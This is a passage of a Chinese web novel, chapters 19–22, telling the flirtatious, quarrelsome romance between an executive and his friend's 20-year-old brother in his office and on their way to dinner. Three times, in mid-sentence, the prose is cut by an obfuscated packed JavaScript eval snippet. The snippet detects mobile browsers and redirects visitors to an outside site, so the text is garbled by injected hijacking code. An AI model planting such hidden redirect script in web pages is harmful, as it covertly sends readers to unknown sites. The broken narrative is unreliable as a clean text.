“你觉得花好看还是我好看?”对方抱着臂,一屁股坐在他斜边桌角,冷不丁又扔出来一个炸弹。 戚时一噎。 是不是他上辈子作孽太多了? 否则这辈子他怎么会本来很正常地喜欢着女人呢,突然就又喜欢男人了? 这小混蛋甚至还算不上个正经男人。 这小混蛋比女人还会勾引人! 戚时眉头蹙起,他是真心疑惑地问:“我不明白你什么意思,你觉得这是一个20岁的小年轻会问一个长辈的问题吗?” 何湛程“哦”了一声,歪着头,也对人皱眉问:“原来一个喜欢收藏我没洗过的内裤的大龄青年也能称呼长辈吗?” 戚时一惊,立刻拍桌而起,冲人吼道:“谁收藏了?!你不要胡说八道!当时是因为照片也在里面,我顺手才拿走了,现在已经给你洗干净放起来了!我告诉你,要不是看你那破玩意儿四千多一条,老子早他妈给你扔了!还用得着你跑过来质问我?艹,你以为你是谁!要不是因为你姓何,就凭这些天你干的这些混账事儿,你当老子还愿意给你好脸色?!” 吼完,猛地低下头,大脑轰隆隆的,气喘吁吁着,脸部肌肉不听使唤地抽搐,比健身房运动俩小时还要心累。 他说呢,险些真以为这兔崽子对他有意思呢,原来何老三是来报复他那事儿来了。 “怎么了!怎么了!怎么了!” 听到动静的茉莉,直接推门冲进来了,看着屋里两个绝色男人,一个坐在办公桌上愣神,另一个低头撑在桌上大喘气,氛围非常差劲。 天哪,茉莉眼前一黑。 她本以为今天三少会直接把她老板拿下的! 或者老板把三少拿下。 何湛程也懵了。 他早上酒醒,重新回顾了一遍照片事件、买单事件和礼物事件,反复思考和推演,才正式确定戚时是对他有意思的。 如果不喜欢他,戚时在发现照片后的第一反应,应该是直接将照片甩给他,明确表达自己的厌恶,或者更简单的方式,戚时完全可以找他大哥告状,俩人合起伙骂他一顿,再把他送走。 如果不喜欢他,戚时就不会一声不吭地替他买单,他今早临出发前,一时兴起,跑去那家他买过三次茶饮的店里问过,他想知道戚时每次接到电话后的反应,店长明确告诉他,买单的人没有表露出任何情绪,但每次会问他今天穿什么衣服和状态。 “什么‘什么状态’?” “就是问你今天看起来怎么样?声音听起来怎么样?开心吗?瘦了吗?感冒了吗?” 他当场愣在原地,缓了十多分钟才离开。 就为这一句话,他将行程推迟到下午才走,整个上午和中午,跑遍了所有他曾经买过东西的店,挨个问,虽然有些老板不记得了,但得到的所有回复,全是戚时在问他当日的穿搭和心情,偶尔还会像个变态一样问他身上什么味道。 他百分之百肯定,就算戚时不喜欢他,起码也不讨厌他。 许若林那件事就更明显了。 戚时显然是吃醋了啊。 如果真不喜欢他,这傻大个儿吃个鸟的醋? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409028|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以,哪怕戚时是一个铁直的男人,他也更相信自己敏锐的嗅觉和灵光的脑子。 他认为自己的判断是没有错的,所以他来了,他按照戚老二的审美精心地打扮,连香水都没喷,他认为自己只需略施小计,稍作勾引,戚时就会乖乖缴械投降,对他投怀送抱,但他没想到…… 没想到戚老二真的只是一个傻乎乎的老实人。 是他误会了。 正尴尬僵持着,门外有个女声喊茉莉:“茉莉姐,你让拿的东西,我和露娜帮你提上来了,给你放哪儿啊?” 茉莉扭头往外看了一眼,见是三大包时装手提纸袋,又转回视线看向桌子上的何湛程,眼神问询。 茉莉不知道那是什么东西。 何湛程知道,并且他猜,戚老二应该也知道。 他很识相地放乖神色,从桌子上出溜下来,小学生似的老实站在桌前,用一种认错服软的眼神瞄着戚老二。 戚老二冷着脸和他对视一眼。 “二哥……”他小声叽咕,“我刚才在玩儿cosplay来着……” 好在戚老二很有家长风范。 攥拳咳嗽一声,沉声问:“是那三百条准备用来羞辱我的内裤?” “不是羞辱你,是想换你手里那条的。”何湛程认真解释:“怕你太喜欢不给我,我其实还挺喜欢那条的。” 戚时:“……” 一屁股坐回椅子上,抬手揉了好半天眉心,终于发话: “那咱俩一人一半吧。” 何湛程扭头看茉莉,吩咐:“先都放你那儿,两袋留给你们戚总,剩一袋我稍后拿走。” 茉莉瞧着氛围缓和不少,应声关门退下。 何湛程随手把那朵玫瑰花扔戚时脚边的垃圾桶里,准备和人告辞:“二哥,你先忙吧,我——” 戚时望着他:“你要走了?” 何湛程不太能看懂他复杂的眼神,潇洒一笑:“是啊,不然怕再待下去,喝你喜酒的红包还得从你账户里扣。” 戚时盯着他:“我分手了。” 何湛程一挑眉:“啊?” 戚时继续盯着他:“我说我分手了。” 何湛程大脑又开始混乱了。 这啥意思? 让他留下的意思吗? 可他留下又能怎样?他留下……戚老二就会和他搞在一起吗? 按常理来说,这么想是没问题的,但他现在还能用正常人的思维去判断戚老二这个傻大个儿吗? 何湛程试探着伸脖子:“那……你想再找一个吗?” 戚时笑了起来:“我不明白你什么意思。” 何湛程皱眉。 这个该死的老东西,哪里傻了?功力这么深厚,这么高深莫测的,戚老二不明白他意思,难道他就明白戚老二的意思了吗? 何湛程决定采取更加迂回的问法:“那,你觉得你以后会结婚生子吗?” 特地将“生子”两个字咬得很重,他就不信戚老二不明白他意思。 这个问题戚时倒是很诚实地回答了:“不会。” 虽然还在很缓慢、很缓慢地接受自己喜欢男人这个事实,往后恋情都还是个未知数,但他肯定不会和女人搞在一起了。 何湛程似乎有点懂了,于是小心翼翼地重新抛出刚才那个问题: “二哥,你觉得……花好看,还是我好看?” 戚时十指交叉,搁在桌上,扬眉反问他:“有什么区别吗?” 何湛程再反问:“原来在你眼里,我和花没区别吗?” 戚时笑:“对啊,因为都是我不经常碰的东西,我怎么会懂?” 何湛程犹豫了一下,然后在戚时笑容可掬的注视下,缓缓脱下自己的外套,挽在臂间,朝对方走了过去。 他向椅子上的男人伸出手: “那你现在要碰吗?” 20. 第20章 掌心朝上,指尖离他胸膛只有半寸。 这是一个正式的邀请。 但并不足够勾引人。 因为伸过来的是一只干净的、手指修长的、指甲修剪整洁的男手。 掌心生着厚厚的茧,想必是干活磨出来的,小指底下有个小血泡,被人狠心撕破了皮肉,目前伤口还烂着,放做惯粗活或者常举铁的人手上不明显,但在少爷细皮嫩肉的手上,就叫人分外的心疼。 戚时老大夫上药似的,小心握住了这只手,从抽屉里拿出个创可贴,撕了包装,帮何湛程贴上了。 何湛程仰头翻了个大白眼,他快要无语死了。 等人放开他,他转头就将创可贴撕掉,发泄似的,大力摔进垃圾桶。 “我不贴这个!” 戚时一脸无所谓:“随你。” 他早先磨血泡来也不喜欢贴,运动久了茧子变成手的一部分,磨不出来泡就更用不着贴了。 个人喜欢么,他不强求。 何湛程冷着脸,将外套重新穿上,转身就走:“我还有事,你忙吧。” 虽然有人骂过他长得像男妓,但他目前还做不到那一步。 戚老二这混蛋到底是不是男人? 他都把自己送到跟前了,这人竟然能忍住不把他给扒了? 喂,他可是何湛程,万人迷何湛程好吧?! 心想,怪不得和要结婚的女人分手了,看来是那方面有问题。 “程儿,”身后人笑,“不高兴了?” 戚时的嗓音真的很好听。 刻意卖弄的低音炮,像吻在私密处一样的色|情。 何湛程停下脚步,皱着眉回头:“我就问你一句,你不会真以为我是喜欢干活才留在剧组当受气包吧?” 戚时惊讶:“不是你大哥给你安排体验生活的么?而且你现在不是跑回来了?” 何湛程怒极反笑,反手抄起一摞文件就砸人怀里,转身瞪他:“滚!” 戚时闷哼一声,抱着散落在怀里的文件夹,不懂自己为啥莫名其妙挨这一下子。 本来见兔崽子挺可爱,忍不住想逗逗,结果没想到对方是条暴龙。 花他钱使唤他秘书骂他打他还毫无愧疚心的那种暴龙。 戚时啧一声,将文件放一边,俯身从垃圾桶里把刚才何湛程丢进去的红玫瑰给人捡了出来,递到对方手上,说:“这下行了吧?” 何湛程心中一动,接过玫瑰:“行什么?” 戚时满脸无奈:“夸你和玫瑰一样好看,这下行了吧?” 下一秒,玫瑰又被重重摔回他脸上,殷红花瓣四散,伴随着何湛程忍无可忍的怒意: “戚老二,你那些女朋友都是你花钱买来的吧!” 戚时也怒了,猛地站起身,宽阔的肩膀像乌云般笼罩上去,胸膛和对方紧紧相贴。 他大手按住那人削薄的肩,凝眉盯着对方那双琥珀色深瞳的眼睛:“你闹够没有?” 何湛程毫不畏惧地瞪回去:“怎么,想打我?你有胆子动我一下试试?” 戚时另一手也抬起,缓缓伸进风衣,握住何湛程的腰,掌心发狠般揉捏着,一下恨不得将人骨头捏碎,一下又小心收敛着力道,显出几分怜爱疼惜。 一想到何湛程写给许若林的那几行赠语,他胸膛就蹿上来一股无名火。 那般亲密无间的称呼,文绉绉的字句,骄狂的笔迹却流动着那样细致绵绵的情意。 口口声声说是朋友,谁会给朋友写那种话? 他齿间发冷:“我告诉过你没有,我不是你消遣的对象,你拿我和别人一样,自己倒先玩儿不起了?” 何湛程本来在生气,冷不丁又被对方这暧昧至极的亲密动作搞得云里雾里的。 又不敢再发骚作死,只得尬笑着缩着脖子跟人服软:“二哥,贴太近了。” 戚时也笑,笑得狰狞,鼻尖压上去,和对方鼻梁若即若离地蹭着,温柔异常:“怎么,不喜欢和二哥贴这么近?” 何湛程老实巴巴地望着他:“疼。” 戚时立刻松了些力道,往后退了些距离,冷哼一声:“自己找死还知道疼?” 何湛程笑眯眯的:“不是,我怕你心疼。” 戚时:“……” 他真的要受不了这个兔崽子了! 僵持了会儿,俩人默在原地,一个挠头发,另一个低头抠着桌子,都不太自在。 这算什么? 完全出乎双方意料、乱七八糟的发展走向。 一个花枝招展来勾引,结果被狠狠凶了一顿; 一个本自认意志坚定,结果自己险些亲上去。 下一秒,心有灵犀似的,俩人又不约而同抬起头,对视一眼。 戚时清咳一声:“怎么回来的?” 何湛程不想出卖队友,说:“我骗刘导酒喝多了心律不齐,让他派司机送我来城里看看。” 戚时心中一紧,忙问:“你心律不齐?” 何湛程咬字清晰:“P-i-an,骗。” 戚时:“……好吧。” 何湛程拢着风衣,大步往门外走: “我叫茉莉帮我订张回家的机票,待会你给我付了,咱们有缘再会。” 戚时沉声喝止:“站住!” 何湛程叹了口气,无奈扭头:“又怎么了我的大小姐。” 大小姐一副公事公办的语气:“你大哥让你在我这儿待半年,你现在才待不到一个月,你这就想走?” 何湛程耸肩:“你觉得要是我足够听他的话,他还会把我赶到你这儿来吗?” 大小姐冷哼一声:“你现在又不用听他话,但你得听我的,你活儿还没干完,我让你走了么?” 何湛程“哟”一声,慢悠悠地绕桌子走过来,探头瞅他一眼,笑得很欠抽:“怎么,舍不得我呀?” 大小姐不卑不亢:“你得干活。” 何湛程哈哈哈笑了起来。 伸手将人拨到旁边,一撩袍,抬屁股坐到总裁真皮软坐转椅里,吊儿郎当的,一双红鞋叠起,翘在办公桌上,俨然一副他才是办公室主人的派头。 “妈的,”他冷笑,“一天天的蹬鼻子上脸,拿着鸡毛当令箭,我说,你还真把自己当根儿葱了?” 戚时默然不语。 看吧,他想,他就怕这个。 喜欢上一个得罪不起的人,就意味着沦为对方戏弄的对象,何湛程爱玩,也玩得起,别人呢? 啧,这反应不对啊。 何湛程瞧着楞杵在他面前的傻大个儿,寻思着按戚老二暴脾气,起码得给他一脚吧? 也不骂他? 一句都不骂? 戚老二可不是什么畏惧强权的软蛋吧? 落下一只脚,干净红帆布鞋蹭过丝滑的西裤面料,一路往上,轻碰了下对方的手背。 淡淡道:“说话。” 戚时忽地攥住他脚踝,望他:“腿挺长。” “没你长。”何湛程笑着抽回脚。 “你才二十,个子还会长。”戚时握着他脚不放手。 “知道了。”何湛程挣扎两下,示意对方松手。 戚时笑了一下。 然后温柔地低下头,三下五除二飞快动手把他鞋给脱了。 “艹!”何湛程吓了一跳,条件反射抬另一条腿踹过去,没料戚时动作更敏捷,稳稳接住他脚丫子,把他另一只鞋也给脱了。 何湛程恼羞成怒:“你干什么?!” “哟!”戚时一手死死攥着何湛程俩脚踝,另一手食指勾着两只鞋晃荡在半空,笑得一脸无赖:“原来我们家程儿穿的白袜子啊,我还以为你里面穿得也挺骚呢。” 何湛程的脸腾地一下就红了。 狗日的,明明被羞辱了,怎么还害臊上了? 戚时笑得肆意张狂,一甩胳膊,膂力惊人,指间勾的那双红鞋在办公室划过一道完美的抛物线,掉到了五米远外的玻璃门口地板上。 啪的一声! 很响亮。 何湛程就这么被人提溜着,长腿被站立的某禽兽拔得极高,整个人成倒挂金钩的姿势,脚丫子朝上,上身被迫出溜到椅子里。 外套脱离身躯,几乎淹没他脖子,他两手死死扒着椅子扶手,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409029|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳砰砰的,耳朵涨红。 幸亏他今天穿的是衬衫,衣服下摆被紧束在腰带里,但凡换个宽松点的衣服,这姿势肯定会褪到他胸口。 他才不乐意给戚老二白看。 “趁我没发火之前,松手。”何湛程冷声呵斥。 “好啊!” 说松手,就松手,戚时笑得开心,瞬时将手撒开,何湛程重心不稳,先是长腿坠落,而后上半身也摔到地上。 这姿势太狼狈,疼都顾不上,他一秒删除这段记忆,一个闪身,利落爬回去坐好。 何三少名如其人,坐姿如皇帝,口吻更如太上皇:“闹够没,还不快把鞋给我捡回来!” 戚时两手插兜,笑眼弯弯,打量宠物似的,饶有兴致地瞧着他。 接着,戚总裁便如太上皇他老祖宗,踩着皮鞋一迈,长腿跨过来,一屁股坐皇帝大腿上。 何湛程震惊了。 这傻大个儿居然敢坐他?!! “嗯,你想走就走,我还有事要忙,就不留你了。” 戚总裁磨蹭着屁股,在他柔软金贵的新屁垫上顾涌两下,调整好办公姿势,继续一脸认真噼里啪啦地敲键盘。 这是什么新型五指山?一道黑漆漆的铜墙铁壁就这么毫无道理地压了上来,完全阻挡他视线,臭不要脸的戚老二,万一突然放个屁把他崩死了怎么办? 何湛程怒了。 怒不过五秒,突然又意识到坐他大腿上的是只浑圆紧实的蜜桃臀,而且还很翘。 何湛程就又笑了。 “二哥,”他倾身过去,妖精似的,伏在怀里人右边肩膀上,“你比我想得要轻。” 戚时嘴角得意扬起,正要回句什么,冷不丁屁股蛋被哪个臭流氓给拧了一把,他身子一僵,接着,耳边传来兔崽子明媚开怀的俏皮声:“真软啊,二哥你平时都怎么练哒?” “呵呵呵呵……”戚时咬着牙笑了。 扎马步似的,虚站起身,不待人反应,集结全身力量,再次狠狠一屁股墩了下去。 “艹!”何湛程痛呼一声,粗嗓门都吼出来了。 他这次真的是大腿骨头都要裂了! “还软吗?”戚时回头露出迷之微笑:“我现在觉得,你倒挺硬的。” “戚老二你他妈有病吧!你突然来这一下会搞出人命来的知不知道!” “呵!这就又怪我了?难道不是你先坐上来的?” “那你就坐我身上?你要不要脸?你脑子是让海水倒灌腐蚀没了吧!” “你也好意思说?我脑子里如果装得是海水,你脑子装得就是黄河水!” “闪开啊!痛死了他妈的!” “哟,都疼成这样了还撒娇呢?” “你有病吧?谁他妈撒娇了?!!” “那你说‘痛死了’?” “艹,你去死吧!赶紧死!立刻死!” “……很疼吗?我看看。” “滚蛋,我现在看见你就烦!” “别闹!让我看看!” “你还看,还不都是你惹的!” “谁让你先摸老子?” “谁让你先坐我?!” “谁让你拿花先打我?” “谁让你笨得很猪一样?!” “谁让你浪得跟妖精一样?” “你少学我说话!” “明明是你先开始的!” …… …… 茉莉焦急地搓着手,在办公室门外犹豫徘徊着,一时不知道该不该冲进去劝架。 刚才那一声什么东西砸落地的脆响动静,吓得她立刻跑了过来,生怕那俩发疯不要命的小祖宗和大祖宗闹起来有生命危险,但…… 哎呀! 她脸上浮起一层薄薄的红。 她不确定屋里那俩人是在打架,还是在干别的。 “嘶……” “嗯啊……” “你、你轻点儿……” 断断续续的,猫一样的喘息声。 茉莉捂着红到爆炸的脸跑开了。 她确定了,是她老板把三少拿下了。 21. 第21章 西装革履的男人半跪在他腿侧,低着头,隔着一层加绒紧身裤的布料,力道均衡地帮他揉捏着大腿。 何湛程将手掌按在那人肩上,额头冒了一层细汗,轻轻喘息着。 “哼……嗯啊……” “嘶……啊……” “痛死了……” 戚时不耐烦地吼他:“别乱叫!” 何湛程瞪他一眼。 对方却一脸认真地做按摩小二。 何湛程仰头叹息一声,他被这傻叉气得头疼。 戚老二是聋子吗? 看不出来他在勾引他就算了,难不成听也听不出来? 戚时活二十七年,没听过叫|床? 苍天没眼,他何老三一世英名就要坏在这个不解风情的王八蛋身上了。 本来戚时也吓得不轻,何湛程当即就要脱裤子给人看看他大腿淤青了没,戚时猛地一声大吼,就说自己刚才悠着劲儿呢,这种程度绝对残废不了,不用脱裤子按摩几下好了,自称手劲儿非常之大,别说加绒裤子了,就算他穿棉裤,他也能给他按舒服了。 何湛程只想呵呵。 TMD,他想脱裤子难不成是为了让人给他按摩么? “诶,”何湛程闲得发慌,顺手揪着旁边人头发玩儿,问着,“你多高啊?” “怎么,”戚时笑问,“搁我这儿选妃呢?” “哪能呢?”何湛程笑:“我一般不选妃,都是人家自己扑上来找我的。” 就像去年,他不小心惹到的那个大老板的情妇,他也不知道自己被做小三了,嗯……准确来说,情妇本身就是一个三儿,年轻貌美大波浪的,谁能联想到她和一个已婚男在一起了? 他们只是在酒吧遇见了,她长得很漂亮,他路过,出于绅士礼节,送她一杯酒,她朝他走过来,告诉他,她很寂寞,正好,他也很无聊。 对于女人,他第二天早习惯性送她们一束花。 但这个女人,他没送。 她说她爱他。 他笑着说他也是。 然后他当着她面,在床前把她手机掰成了两半,抡胳膊将碎片摔在她身后的墙上。 他知道她录了像,拍了很多照片。 他可以欣赏自己的裸|体,但在别人的手机里不行。 她被他吓哭了,他发完脾气心情爽了很多,掏出手机问她想要多少,她试探着说五百万,他狂笑,从裤兜里摸出五十块甩她脸上,扬长而去。 后来她回去找大老板告状了,具体怎么说的他不清楚,无非就是他勾引她之类的,但事情彻底闹了起来,才知道大老板是某省长的表侄,牛气得不行,放了话,接下来绝对要找人摁死他。 老爷子被他气晕过去,说家里乌烟瘴气的,实在待不得,抱着几个弟兄的牌位搬去了养老院,他妈又发疯又哭又闹的,一个劲儿求他大哥赶紧找老同学帮帮忙,堂堂一个当家主母,在他大哥面前这样没尊严,每次他一看到她这样就烦得不行。 他也懒得解释。 他既不觉得自己对,也不觉得自己错。 茫茫人海,多少条错综复杂的线才能将两个人牵到一起? 遇上了,就结缘了;分开了,就缘尽了。 人生在世须尽欢,睁眼,闭眼,镜花水月而已。 “比如呢?”戚时状似不经意地问,“都有谁?” “嗯?”何湛程笑着和人对视一眼。 都有裴玉,嗯,就是你们擎荣影视经纪部门的那个很能给你赚钱的大明星; 还有许若林,嗯,就是你往人家礼物里放自个儿帅照还给人家打骚扰电话的那位高材生。 能说么? 不能。 男人的自尊心是很脆弱的。 “就你一个啊,”何湛程似笑非笑,“您老人家这不正给我捏腿呢么,总裁大人。” “去你的。”戚时没好气地笑,耳朵微红。 这人快被他调戏得没脾气了。 何湛程也满意。 他对戚时这样的人算是比较放心的:有身份、有地位,就有了痛处和忌惮。 张三李四王五赵六拍他床照讹钱这种事,他不止一次经历过,说白了,他现在不再乱来了,不是因为长教训了,他只是厌倦了。 对有身份地位的人,他可以玩儿制衡威胁那一套,对一无所有的人,他怎么整? 送局子里关七八天又不解气,二话不说就捅人一刀又太不绅士了。 现在是法治社会,可不能再像他家老头子当年那么横了。 何湛程打量着正认真伺候他的戚·贤夫良父·时。 他有一种预感,自己会喜欢这个人很久。 虽然他不知道“很久”是多久。 “喂,”他又去揪人家的头发,缠在手里胡乱卷着,“你到底多高啊?” “看不出来么?”戚时抬头笑,“比你高。” “唉,”他状似忧愁,“我没几年可长了,个子撵不上你的话……” “撵不上我,怎样?” “我就不和你玩儿了。” “我不喜欢比我高的人。”他说。 戚时满不在意:“再过几年,少爷您老人家还不知道在哪颗星球上浪呢,还能记得起我?” “你看你,”何湛程笑着手指轻推他一下,“老吃醋。” “我190,想矮也矮不了。”戚时自动忽略他的调戏,嘱咐着,“你平时多吃饭,一日三餐都要吃,水果也经——” 桌上手机响了起来。 戚时站起身去接。 何湛程眼巴巴盯着某人紧贴在臀部的西裤褶皱,没忍住伸脚丫子上去踩了两脚。 戚时刚接通电话,突然就被流氓踩屁股,回头警告性瞪人一眼,口型威胁一句“别闹”。 何湛程笑眯眯的,也用口型问“谁呀”。 戚时听到什么,顿了一顿,低声跟对方说“我没听清,你再说一遍”,接着打开手机免提,递到何湛程跟前: “您好,我们这边是XXX法餐厅,请问您在我们餐厅预约了晚六点的情侣包厢对吗?抱歉,现在已经超时半小时了,我想冒昧地问一下您还来吗?如果不来的话,您先前付的押金我们是不给退的哈。” “来啊,”何湛程想也不想,“但是情侣包厢不要了,你换成普通包厢也行,或者在大厅留个位置给我们。” “好的,打扰了,欢迎您稍后光临鄙店。” 电话挂断,何湛程动作灵活地盘起腿,下巴冲远处一抬,吩咐:“去,把鞋给我拿过来穿上,咱们去吃饭。” 戚时将手机扔桌上,抱臂居高临下地盯着椅子上骗他腿疼的兔崽子:“你还挺会安排。” 何湛程潇洒挥挥手:“小小诚意,不成敬意。” 戚时咬牙笑:“你花的是老子的钱。” 何湛程啧一声:“咱们都这么熟了,还分什么你的我的,你快去给我拿鞋,没听见人刚才催呢嘛!” 戚时冷哼一声:“你先给我解释解释,‘情侣包厢’什么意思?还有,你押金哪来的?” 他早怀疑何湛程是不是在京城也搞上了谁,不然景区吃饭那么贵,这小子绝无可能连续三四天都一分不花。 不知道哪个冤大头会替何老三这种人付账。 呵呵,真是傻得叫人心疼。 “‘情侣包厢’就是字面意思啊,”何湛程面不改色地说,“我就是单纯喜欢布置浪漫的场地,但显然二哥你是个没情调的俗人,所以我决定让给真正恩爱的情侣。押金找刘导司机付的,刘导这几天包我所有行程。” 原来是刘导。 “怎么找刘导付?”戚时敏锐地挑出那话的漏洞:“又不是要给谁准备惊喜,怎么不直接找我付?” “大钱花自己人的,小钱花外人的。”何湛程回得天衣无缝。 “老子什么时候成你‘自己人’了?” “从你脱我鞋还捏我脚的那一刻!” 何湛程臭着脸,脾气有点要上来了:“我说最后一遍,立刻把鞋给我拿过来!还有,我一整天都没吃饭,我饿了!” 戚时气焰一下子就灭了。 转身老老实实去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409030|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口给人拿鞋。 回来刚把鞋扔椅子下面,两只穿着白袜子的大脚丫子就伸了过来。 大白脚丫子吩咐:“给我穿上,再给你个摸我脚的机会,快点儿,错过这村就没这店了。” 戚时哭笑不得,半蹲下身,一边低头帮人系鞋带,一边问:“你对所有人都这样吗?” 何湛程挑眉:“哪样?” 戚时:“让别人给你穿鞋。” 何湛程:“对啊,我不仅让别人给我穿鞋,我还让别人给我口呢,对二哥算是比较客气的了。” 戚时手上一停,抬脸看他。 何湛程吊儿郎当地笑。 戚时低下头继续系鞋带:“说话注意点。” 何湛程满不在意道:“我把二哥当自己人才放肆的。” “我不喜欢听自己人说这些。” “没看出来,二哥还挺保守啊?” “所以,以后能不能不说了。” “嗯……你答应我一件事,我就不说了。” “什么事?” “我腿还痛呢,你背我下楼。” “呵,”戚时一把将穿好鞋的脚扔回去,站起身瞪他,“想得美!” 何湛程朝他张开双臂,仰脸笑:“那你背我到这间办公室门口吧!就我们两个人,没人看见,怎么样?” 戚时两手叉了下腰,别过脸看一眼门口,又低头看坐在椅子里的人。 兔崽子两只脚也翘起,眨眼望着他。 戚时不自在地轻咳一声,没什么威慑性地警告:“就一次啊,下不为例。” 何湛程笑了声,说:“谢谢二哥!” 戚时背转过身,屈下膝盖,弯腰蹲在对方身前。 何湛程身躯伏下去,双臂搂住戚时脖子,长腿勾在男人腰间,顺手拎上搭在椅背上的西装外套。 戚总裁身形高大匀称,黑衬衫丝滑的缎面完美勾勒宽肩窄腰,袖口捋至手肘,腕上戴着银光锃亮的劳力士,衬衫下摆扎进华伦天奴腰带,领口纽扣习惯性解开两颗,领带也不认真系,松松垮垮垂在肌肉饱满的胸前,回眸一笑,活像个痞子,又帅得人心跳疯狂加速。 痞子感慨:“程儿啊,你比我想象中要重。” 何湛程:“……” 这个煞风景的家伙! “我很好奇,”何湛程纳闷,“你这种情商是怎么能交到那么多高质量女朋友的?” 戚时大言不惭:“因为帅。” 何湛程探头采访:“那你们吵架怎么解决?” 戚时:“衣服、包、卡。” 何湛程轻啧一声:“你不是说靠脸么?” 戚时“嗐”一声:“我这么忙,前期靠脸,维系感情得靠钱啊,你不也是么?” 何湛程:“我才和你不一样。” 戚时:“怎么说?” 何湛程笑意迷离:“我更喜欢偷人心。” “切!”戚时不屑。 正好走到门口,将人放下来,接过来外套穿身上。 “行了,说话算数,我背你了,你以后嘴巴也给老子放干净点儿,你小子不是挺会整那些花里胡哨的句子么,搁我面前就这么粗俗,还真是区别对待啊。” 何湛程低头整理着衣服,随口问:“什么花里胡哨的句子?” 戚时对着玻璃门阴阳怪气:“就是枫叶一半红一半什么褪色的句子呗。” 何湛程“哦”了声,想起来了,满不在意地说:“那个啊,我随手写的,你要吗,我一天能写一千条。” “随手写的?” 戚时冷笑一声,根本不信:“谁随手写句话就写得跟诗一样?” 何湛程举小镜子拨弄着刘海:“我们文化人是这样的。” 戚时:“……” 何湛程瞥他一眼,问:“要么?” 戚时轻哼一声。 何湛程将小镜子揣兜里,头也不回地推门出去:“不要拉倒。” 戚时两步小跑着追上去,长臂一揽,搂住对方肩膀,笑:“要,当然要!你先给我来个百八十条的!” 22. 第22章 茉莉正趴文件堆埋头接电话,办公室忽地闹出点儿动静,她连忙抬头看去。 她家老板西装整齐,一条胳膊懒散地搭在何三少肩膀上,手掌虚按在对方肩头,若有若无地将人往自己怀里带;何三少比老板稍矮些,气场倒足,一脸淡淡笑意,目光总望向旁处,仪态随性又自在,反而令她老板的目光始终流连在他身上,半眼不肯偏移。 俩人有说有笑推门走出来,像是谈了很久恋爱的好哥们儿。 茉莉放下听筒,微笑起身问候。 “戚总,三少,这就要走了吗。” “把刚才那三大包手提袋拿给你们戚总,”何湛程显然看出她在想什么,也望着她笑,“我们顺道就捎车上去了,省得你回头再跑一趟。” “好的。”茉莉转身,蹲下身,去桌下的储物柜里拿袋子。 戚时正笑着,刚想问问茉莉咋突然脸红得跟西红柿似的,余光一瞥,眼尖地发现她桌角的玻璃水瓶里插着朵红玫瑰。 和何湛程送他的那支一样。 笑容便被这一抹瑰丽红色冲淡了,理智淹没上来,他移开视线,将搭在怀里人的手抽回来,缓缓插进了裤兜。 何湛程察觉异样,扭头看他。 戚时挑眉:“怎么了?” 何湛程说:“没什么,是我太敏感了。” 戚时惊讶:“你?开什么玩笑,你看起来可不像是会敏感的人。” “是么?”何湛程唇角一勾,“可你看起来像是。” 戚时别过脸,懒得理他。 “来,三——”茉莉提着袋子才叫到一半,突然想起三少刚在里面劳累过,便转头看戚时,奉上三大包手提袋:“戚总,这是您和三少的东西。” 戚时莫名有点来气,瞪她:“他都给你什么好处了,让你成天这么向着他?这么多东西,你都让我一个人拿是吧,你到底是谁的秘书啊?” 茉莉一时慌乱起来:“我……” “行了,”何湛程真看不下去,双手接过东西,“我拿,都我拿,行了吧?” 推着戚时往楼梯间走,不忘回头安慰茉莉:“你别理他,我们家子涵什么都好,就是脾气臭了点,放心吧,等他幼稚园毕业了我再给你送回来。” 茉莉被逗得一笑,轻轻点了下头:“嗯。” “呵呵。” 进了电梯,戚时抱臂一个劲儿冷笑:“呵呵,呵呵,呵呵,呵呵,呵呵,呵——” 何湛程直接抡胳膊将仨袋子全摔他怀里:“中风了?没中风就给本少爷好好提着,真服了你,连自己秘书的醋都吃,你不是个直男么?” 这话足够扎心,戚时瞬间就“呵呵”不出了。 沉脸接过袋子,周身开始释放出拒人千里之外的冷意。 嘴上也不饶人:“你少在老子面前自恋,不管老子喜欢男还是女,人类灭绝了我也不可能看上你,茉莉不懂规矩,我做上司训斥几句下属,关你这个外人屁事?” 何湛程翻了个白眼,趁人手占着,忽地倾身过去,两手在人裤兜一通乱摸,把戚时手机拿了出来。 “密码。” 戚时瞪他:“你找死啊?” 何湛程不耐烦道:“我们都和好了,你不给我解除拉黑,我以后怎么给你打电话?” “199816。” “哦,生日快乐。”何湛程低头解锁,随口问:“今年想要什么礼物,我补给你。” 戚时脸上红一阵青一阵的,嘲讽道:“你有钱么,还不都是花老子的钱?” 